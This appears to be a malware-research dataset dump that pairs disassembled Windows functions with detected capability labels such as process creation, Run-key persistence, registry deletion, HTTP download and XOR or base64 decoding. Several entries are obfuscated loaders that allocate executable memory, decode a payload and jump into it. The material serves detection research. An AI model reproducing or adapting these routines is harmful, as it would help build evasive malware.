joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49b95c
Capabilities:
Create process on windows

Disassembly:
push ebx
add esp, 0xfffffda0
mov ebx, edx
push eax
lea eax, [esp + 0x58]
push eax
call sub.kernel32.dll_lstrcpyW
mov eax, esp
xor ecx, ecx
mov edx, 0x44
call fcn.004035a0
lea eax, [esp + 0x44]
xor ecx, ecx
mov edx, 0x10
call fcn.004035a0
mov dword [esp], 0x44
mov dword [esp + 0x2c], 1
test bl, bl
je 0x49b9aa
mov word [esp + 0x30], 0
jmp 0x49b9b1
mov word [esp + 0x30], 0xa
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 4]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x74]
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test bl, bl
je 0x49b9e6
push 0xea60
mov eax, dword [esp + 0x48]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [esp + 0x44]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [esp + 0x48]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0
call sub.kernel32.dll_Sleep_1
add esp, 0x260
pop ebx
ret

Function at 0x49ba0c
Capabilities:
Find taskbar

Disassembly:
push ebx
push esi
push ecx
mov eax, 0x49baa4
mov dl, 1
call fcn.0049b95c
push 0
call sub.kernel32.dll_Sleep_1
mov eax, 0x49bad0
mov dl, 1
call fcn.0049b95c
push 0
push 0x49bb14
call sub.user32.dll_FindWindowW
mov ebx, eax
test ebx, ebx
je 0x49ba9f
push esp
push ebx
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [esp]
push eax
push 0
push 0x100000
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0
push 1
push 0x590
push ebx
call sub.user32.dll_PostMessageW
push 0
push 0
push 0x5b4
push ebx
call sub.user32.dll_PostMessageW
test esi, esi
je 0x49ba9f
push 0x1388
push esi
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
jne 0x49ba99
mov eax, 0x49bb30
mov dl, 1
call fcn.0049b95c
push esi
call sub.kernel32.dll_CloseHandle_1
pop edx
pop esi
pop ebx
ret

Function at 0x49ba2e
Capabilities:
Find taskbar

Disassembly:
push ebx
push esi
push ecx
mov eax, 0x49baa4
mov dl, 1
call fcn.0049b95c
push 0
call sub.kernel32.dll_Sleep_1
mov eax, 0x49bad0
mov dl, 1
call fcn.0049b95c
push 0
push 0x49bb14
call sub.user32.dll_FindWindowW
mov ebx, eax
test ebx, ebx
je 0x49ba9f
push esp
push ebx
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [esp]
push eax
push 0
push 0x100000
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0
push 1
push 0x590
push ebx
call sub.user32.dll_PostMessageW
push 0
push 0
push 0x5b4
push ebx
call sub.user32.dll_PostMessageW
test esi, esi
je 0x49ba9f
push 0x1388
push esi
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
jne 0x49ba99
mov eax, 0x49bb30
mov dl, 1
call fcn.0049b95c
push esi
call sub.kernel32.dll_CloseHandle_1
pop edx
pop esi
pop ebx
ret
Function at 0x49bbcc
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x49bcb3
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0xf013f
mov dl, 1
mov eax, dword [0x42ec80]
call fcn.0042ee30
mov ebx, eax
xor ecx, ecx
mov edx, 0x49bccc
mov eax, ebx
call fcn.0042ef30
test al, al
je 0x49bc30
lea ecx, [ebp - 4]
mov edx, 0x49bd14
mov eax, ebx
call fcn.0042f684
mov eax, dword [ebp - 4]
mov edx, 0x49bd38
call fcn.00405ff8
jne 0x49bc30
push 0
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegDeleteTreeW
mov eax, ebx
call fcn.00403c94
mov ecx, 0xf013f
mov dl, 1
mov eax, dword [0x42ec80]
call fcn.0042ee30
mov ebx, eax
mov edx, 0x80000002
mov eax, ebx
call fcn.0042eec8
mov edx, 0x49bccc
xor ecx, ecx
mov eax, ebx
call fcn.0042ef30
test al, al
je 0x49bc91
lea ecx, [ebp - 8]
mov edx, 0x49bd14
mov eax, ebx
call fcn.0042f684
mov eax, dword [ebp - 8]
mov edx, 0x49bd38
call fcn.00405ff8
jne 0x49bc91
push 0
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegDeleteTreeW
mov eax, ebx
call fcn.00403c94
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49bcba
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040584c
ret

Function at 0x49ed48
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x49ee75
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x42ec80]
call fcn.0042edec
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, 0x49ee90
mov eax, dword [ebp - 4]
call fcn.0042ef30
test al, al
je 0x49edd4
xor eax, eax
push ebp
push 0x49edca
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 8]
mov edx, 0x49eec8
mov eax, dword [ebp - 4]
call fcn.0042f684
mov eax, dword [ebp - 8]
mov edx, 0x49eef4
call fcn.00405ff8
jne 0x49edc0
mov edx, 0x49ef0c
mov eax, dword [ebp - 4]
call fcn.0042f3a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49edd4
mov eax, dword [ebp - 4]
call fcn.00403c94
mov dl, 1
mov eax, dword [0x42ec80]
call fcn.0042edec
mov ebx, eax
mov cl, 1
mov edx, 0x49ef38
mov eax, ebx
call fcn.0042ef30
mov edx, 0x49efa8
mov eax, ebx
call fcn.0042f838
test al, al
je 0x49ee14
mov edx, 0x49efa8
mov eax, ebx
call fcn.0042f3a4
mov eax, ebx
call fcn.00403c94
mov cl, 1
mov edx, 0x49efd4
mov eax, 0x80000001
call fcn.0049b844
mov cl, 1
mov edx, 0x49efd4
mov eax, 0x80000002
call fcn.0049b844
mov cl, 1
mov edx, 0x49f06c
mov eax, 0x80000001
call fcn.0049b844
mov cl, 1
mov edx, 0x49f06c
mov eax, 0x80000002
call fcn.0049b844
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49ee7c
lea eax, [ebp - 8]
call fcn.00405844
ret
Function at 0x4a0c38
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
xor ecx, ecx
mov dword [ebp - 0x44], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040583c
xor eax, eax
push ebp
push 0x4a0ced
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.ole32.dll_CoInitialize
lea eax, [ebp - 0x40]
xor ecx, ecx
mov edx, 0x3c
call fcn.004035a0
mov dword [ebp - 0x40], 0x3c
test bl, bl
je 0x4a0c88
mov eax, 0x4a0cfc
mov dword [ebp - 0x34], eax
lea edx, [ebp - 0x44]
mov eax, dword [0x4bf858]
mov eax, dword [eax]
call fcn.00497fa0
mov eax, dword [ebp - 0x44]
call fcn.004058e0
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
call fcn.004058e0
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 0xa
mov dword [ebp - 0x3c], 0x40
lea eax, [ebp - 0x40]
push eax
call sub.shell32.dll_ShellExecuteExW
test eax, eax
je 0x4a0ccd
mov ebx, dword [ebp - 8]
jmp 0x4a0ccf
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a0cf4
lea eax, [ebp - 0x44]
call fcn.00405844
lea eax, [ebp - 4]
call fcn.00405844
ret

Function at 0x4a0df8
Capabilities:
Find taskbar

Disassembly:
push 0
push 0x4a0e08
call sub.user32.dll_FindWindowW
ret

Function at 0x4a0e24
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040583c
lea esi, [ebp - 0x10]
xor eax, eax
push ebp
push 0x4a0f60
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov ecx, 0x1b5
mov edx, 0x800
call fcn.004053bc
mov dword [esi], 1
mov eax, ebx
call fcn.004053b4
mov edx, dword [esi]
mov byte [eax + edx - 1], 0
inc dword [esi]
cmp dword [esi], 0x801
jne 0x4a0e61
push 0
push 0
push 0
push 0
push 0x4a0f70
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4a0e99
call fcn.00412764
xor eax, eax
push ebp
push 0x4a0f43
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x4000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004058e0
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4a0ed2
call fcn.00412764
xor eax, eax
push ebp
push 0x4a0f25
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [esi], eax
push esi
push 0x800
mov eax, dword [ebx]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetReadFile
test eax, eax
jne 0x4a0eff
call fcn.00412764
mov edx, dword [esi]
inc edx
mov eax, ebx
mov ecx, 0x1b5
call fcn.004053bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a0f2c
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetCloseHandle
ret

Function at 0x4a18b4
Capabilities:
Find taskbar

Disassembly:
cmp dword [0x4c5244], 0
je 0x4a18d9
push 0xffffffffffffffec
push 0
push 0x4a18e0
call sub.user32.dll_FindWindowW
push eax
call sub.user32.dll_GetWindowLongW
test eax, 0x400000
jg 0x4a18dc
xor eax, eax
ret
mov al, 1
ret
Function at 0x4a18bf
Capabilities:
Find taskbar

Disassembly:
cmp dword [0x4c5244], 0
je 0x4a18d9
push 0xffffffffffffffec
push 0
push 0x4a18e0
call sub.user32.dll_FindWindowW
push eax
call sub.user32.dll_GetWindowLongW
test eax, 0x400000
jg 0x4a18dc
xor eax, eax
ret
mov al, 1
ret
Function at 0x4a9690
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe68
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040583c
xor eax, eax
push ebp
push 0x4a970c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xc8
lea eax, [ebp - 0x196]
push eax
mov eax, dword [ebp - 4]
call fcn.004058e0
push eax
call sub.kernel32.dll_ExpandEnvironmentStringsW
mov eax, ebx
mov edx, 0xc8
call fcn.00405bd0
push 0
push 0xc8
mov eax, dword [ebx]
call fcn.004058e0
push eax
lea eax, [ebp - 0x196]
push eax
call sub.shlwapi.dll_SHLoadIndirectString
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a9713
lea eax, [ebp - 4]
call fcn.00405844
ret

Function at 0x4afd54
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.0040532c
xor eax, eax
push ebp
push 0x4afe2b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x4afd9c
mov edx, eax
sub edx, 0xa
cmp word [edx], 1
je 0x4afd9c
lea eax, [ebp - 4]
mov cx, 0x1b5
mov edx, dword [ebp - 4]
call fcn.004050ec
test eax, eax
je 0x4afda5
sub eax, 4
mov eax, dword [eax]
push 0
push 0
lea edx, [ebp - 8]
push edx
push 0
push 1
push eax
mov eax, dword [ebp - 4]
push eax
call sub.crypt32.dll_CryptStringToBinaryA
mov eax, dword [ebp - 8]
push eax
mov eax, ebx
mov ecx, 1
mov edx, dword [0x40a0cc]
call fcn.00407008
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x4afdf5
mov edx, eax
sub edx, 0xa
cmp word [edx], 1
je 0x4afdf5
lea eax, [ebp - 4]
mov cx, 0x1b5
mov edx, dword [ebp - 4]
call fcn.004050ec
test eax, eax
je 0x4afdfe
sub eax, 4
mov eax, dword [eax]
push 0
push 0
lea edx, [ebp - 8]
push edx
mov edx, dword [ebx]
push edx
push 1
push eax
mov eax, dword [ebp - 4]
push eax
call sub.crypt32.dll_CryptStringToBinaryA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4afe32
lea eax, [ebp - 4]
call fcn.00404f0c
ret

Function at 0x4b9098
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x4b9240
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4b90fc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CopyFileW
test eax, eax
jne 0x4b90ef
call fcn.00412764
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4b921d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b9247
lea eax, [ebp - 0x20]
mov edx, 5
call fcn.0040584c
lea eax, [ebp - 4]
call fcn.00405844
ret
Function at 0x4b9410
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040583c
xor eax, eax
push ebp
push 0x4b949e
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 8
mov ebx, 0x4bf4b4
lea eax, [ebp - 0xc]
mov ecx, dword [ebx]
mov edx, dword [ebp - 4]
call fcn.00405d28
mov eax, dword [ebp - 0xc]
call fcn.004058e0
mov edx, eax
lea eax, [ebp - 8]
call fcn.00405a00
mov edi, dword [ebp - 8]
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 0x10]
call fcn.004058e0
push eax
call sub.kernel32.dll_DeleteFileW
cmp eax, 1
sbb eax, eax
inc eax
add ebx, 4
dec esi
jne 0x4b9444
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b94a5
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040584c
ret
Function at 0x405ee0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
mov ax, word [0x4013fc]
push ebx
push esi
push edi
mov word [ebp - 0x28c], ax
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x28a]
rep stosd dword es:[edi], eax
xor esi, esi
push esi
mov dword [ebp - 0xc], esi
stosw word es:[edi], ax
mov dword [ebp - 0x10], esi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jl 0x40613b
push 0x4013ec
push esi
call fcn.004092a5
push eax
call fcn.0040762e
jmp 0x40f34d
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0x465f1c04
mov ecx, ebx
xchg ecx, eax
nop
not ch
mov ecx, esi
mov eax, 0xd010e4ce
xchg ah, al
mov al, dl
mov ecx, edx
jg 0x40f7be
adc eax, 0xffffffeb
inc edx
sub dl, ah
cdq
not ah
test eax, ebx
add dl, dl
jmp fcn.00418dd0
cwde
mov edx, 0x4e98
sbb ecx, ebx
dec eax
lea eax, [eax + 0x72]
jmp 0x40f7be
and ecx, edi
test ch, 0xc9
cwde
dec eax
jmp 0x40f5d9
sub edx, 2
not cl
lea ecx, [edi]
nop
mov al, dh
jmp 0x40f286
lea ecx, [esi + 0x4b6a71fd]
mov eax, ebp
mov ecx, ebx
lea ecx, [eax + 0x25]
dec ch
add ecx, ebx
lea ecx, [ebx + 0x2c5ff886]
sbb ecx, ebx
sub word [edx + 0x413ffe], 0x9b5f
xor ecx, 0xffffff93
xchg ecx, eax
mov eax, 0xec44c0e6
not ecx
dec ch
jmp 0x40f570

Function at 0x40618c
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
mov esi, ecx
push dword [esi + 4]
mov dword [esi], 0x401400
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x406207
push 0xffffffffffffffeb
push dword [esi + 4]
call fcn.0040942a
cmp esi, eax
jne 0x406207
push 0
push 0xffffffffffffffeb
push dword [esi + 4]
call fcn.00409ca4
and byte [ebp - 0x10c], 0
lea eax, [ebp - 0x10c]
push 0x100
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x10c]
push 1
mov dword [ebp - 8], ecx
pop eax
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], eax
push ecx
push eax
push 0x4000000
push 0x30357864
call fcn.0040ac4a
add esp, 0x10
pop esi
leave
ret
Function at 0x401d40
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], str.MakeSureDirectoryPathExists
mov dword [ebp - 0xc], str.imagehlp.dll
mov dword [ebp - 8], 0x401da0
cmp dword [0x41104c], 0
jne 0x401d81
pushal
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp - 8]
add esp, 8
mov dword [0x41104c], eax
popal
cmp dword [0x41104c], 0
je 0x401d96
push dword [ebp + 8]
call dword [0x41104c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402ef0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], str.setsockopt
mov dword [ebp - 0xc], str.WS2_32.dll
mov dword [ebp - 8], fcn.00403310
cmp dword [0x4110fc], 0
jne 0x402f31
pushal
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp - 8]
add esp, 8
mov dword [0x4110fc], eax
popal
cmp dword [0x4110fc], 0
je 0x402f52
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [0x4110fc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402f60
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], str.socket
mov dword [ebp - 0xc], str.WS2_32.dll
mov dword [ebp - 8], fcn.00403310
cmp dword [0x411100], 0
jne 0x402fa1
pushal
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp - 8]
add esp, 8
mov dword [0x411100], eax
popal
cmp dword [0x411100], 0
je 0x402fbc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [0x411100]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402fd0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], str.closesocket
mov dword [ebp - 0xc], str.WS2_32.dll
mov dword [ebp - 8], fcn.00403310
cmp dword [0x411104], 0
jne 0x403011
pushal
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp - 8]
add esp, 8
mov dword [0x411104], eax
popal
cmp dword [0x411104], 0
je 0x403026
push dword [ebp + 8]
call dword [0x411104]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403030
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 4], fcn.00403310
mov dword [ebp - 0xc], str.connect
mov dword [ebp - 8], str.WS2_32.dll
cmp dword [0x411108], 0
jne 0x40306c
pushal
push dword [ebp - 0xc]
push dword [ebp - 8]
mov eax, dword [ebp - 4]
call eax
add esp, 8
mov dword [0x411108], eax
popal
mov eax, dword [0x411108]
test eax, eax
je 0x40308b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [0x411108]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403780
Capabilities:
Check mutex on windows
Write file on windows

Disassembly:
sub esp, 0x404
push ebx
push esi
mov esi, dword [esp + 0x410]
push edi
test esi, esi
mov ebx, ecx
je 0x403854
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x403854
push ebp
push str.GlobalWriteLog
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebp, eax
test ebp, ebp
je 0x4037c9
push 0xffffffffffffffff
push ebp
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x14]
push esi
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push str._s__r_n
push eax
call fcn.00405270
add esp, 0xc
add ebx, 0x800
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x40384c
push 2
push 0
push 0
push esi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [esp + 0x10]
push 0
push ecx
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x1c]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x404
ret 4

Function at 0x403a10
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
lea ecx, [esp + 0x14]
push ebx
push ebp
push esi
push edi
call fcn.00404180
mov edi, eax
lea ecx, [esp + 0x24]
mov ebp, dword [edi]
call fcn.00404690
mov ebx, eax
mov eax, 0xfffffffc
sub eax, ebp
add edi, 4
add ebx, eax
xor ecx, ecx
test ebx, ebx
lea esi, [edi + ebp]
jle 0x403a59
mov eax, ecx
cdq
idiv ebp
mov al, byte [ecx + esi]
mov dl, byte [edx + edi]
xor al, dl
mov byte [ecx + esi], al
inc ecx
cmp ecx, ebx
jl 0x403a44
lea ecx, [esp + 0x10]
call fcn.00403f80
push ebx
lea ecx, [esp + 0x14]
call fcn.00404660
mov ecx, ebx
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x20]
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.00403fa0
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x10013a24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x10013a33
pop dword [ebp - 0x4c]
mov eax, 0x4a923c0e
add eax, 0xc56efe25
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x4735810d
sub dword [ebp - 0x5c], 0xf8e33bc2
mov dword [ebp - 0x58], 0x503fdfde
add dword [ebp - 0x58], 0xe1f36c67
mov dword [ebp - 0x54], 0x42d795c1
sub dword [ebp - 0x54], 0xf68b5193
mov dword [ebp - 0x50], 0x2043e314
sub dword [ebp - 0x50], 0x2043e314
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xc0d428ab
add eax, 0x4f2d97d5
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x67a3ac10
add dword [ebp - 0x5c], 0xccebd46
mov dword [ebp - 0x58], 0x3afc118a
sub dword [ebp - 0x58], 0xf98fb015
mov dword [ebp - 0x54], 0x5043021a
add dword [ebp - 0x54], 0x132c6a52
mov dword [ebp - 0x50], 0xd99fd147
add dword [ebp - 0x50], 0x26602eb9
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xad807a4e
sub eax, 0x9d7eba4e
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x35dad
push 0
call eax
mov ecx, 0x41c6
xor edi, edi
add edi, eax
mov esi, 0x5d283bb4
add esi, 0xb2da2c4c
add esi, dword [ebp - 0x4c]
mov ebx, 0x67ce645b
xor dword [ebp - 8], eax
mov edx, dword [esi]
sub dword [ebp - 0x1c], ebx
add edx, ebx
mov dword [edi], edx
sub dword [ebp - 8], 0x6030fd76
add edi, 0x77515d83
add edi, 0x88aea281
add esi, 0x3ad521fb
add esi, 0xc52ade09
loop 0x10013b4b
add eax, 0x7b076512
add eax, 0x84f994d9
mov ebx, eax
add eax, 0xd793068b
add eax, 0x286cf97a
mov ecx, 0x3a16b60b
sub ecx, 0x2a16b60b
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40611c
pop dword [ebp - 0x40]
mov eax, 0x40611c
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x89118f9b
sub dword [ebp - 0x50], 0x3abf4a50
mov dword [ebp - 0x4c], 0x77ddf768
add dword [ebp - 0x4c], 0xba5554dd
mov dword [ebp - 0x48], 0xaf2265fe
sub dword [ebp - 0x48], 0x62d621d0
mov dword [ebp - 0x44], 0x12b3649f
sub dword [ebp - 0x44], 0x12b3649f
lea eax, [ebp - 0x50]
push eax
mov eax, 0xf832b895
sub eax, 0xf7f24835
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xa59a3af9
add dword [ebp - 0x50], 0xced82e5d
mov dword [ebp - 0x4c], 0x6ccac373
sub dword [ebp - 0x4c], 0x2b5e61fe
mov dword [ebp - 0x48], 0x982b488d
sub dword [ebp - 0x48], 0x34bbdc21
mov dword [ebp - 0x44], 0xc3b7c474
sub dword [ebp - 0x44], 0xc3b7c474
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x4d980a1e
sub eax, 0x4d57991e
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3a7b3
push 0
call eax
mov ecx, 0x577e
mov ebx, eax
mov edx, 0xba49fe3f
add edx, 0x45f701c1
add edx, dword [ebp - 0x40]
mov edi, 0x92c01dfd
add edi, 0xe61a117d
sub dword [ebp - 0x28], edi
mov esi, dword [edx]
add dword [ebp - 0x14], 0xed43e532
sub esi, edi
xor dword [ebp - 0x28], 0x18e702d4
mov dword [ebx], esi
xor dword [ebp - 4], 0x4b0a3ff5
add ebx, 0xd5146239
sub ebx, 0xd5146235
add edx, 4
loop 0x406233
add eax, 0x150cb
mov ebx, eax
add eax, 5
mov ecx, 0x3a72280d
sub ecx, 0x3a32280d
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x10055c84
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10055c93
pop dword [ebp - 0x14]
mov eax, 0x10055c93
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x47941
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x9d5f0fcc
add ecx, 0x62a14a34
mov edi, eax
mov ebx, 0x10187200
add ebx, dword [ebp - 0x14]
mov esi, 0xe1938cb2
add dword [ebp - 4], 0xf051ca3e
mov edx, dword [ebx]
mov dword [ebp - 0xc], 0x21c010d6
xor edx, esi
sub dword [ebp - 8], 0x57b10ff8
mov dword [edi], edx
mov dword [ebp - 0xc], 0x5c567aee
add edi, 0x43c28712
sub edi, 0x43c2870e
add ebx, 0xb24b117d
sub ebx, 0xb24b1179
loop 0x10055cdc
add eax, 0x15ad3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xd9aa57bd
add ecx, 0x3655a843
add ecx, dword [ebp - 0x14]
call ebx
leave
ret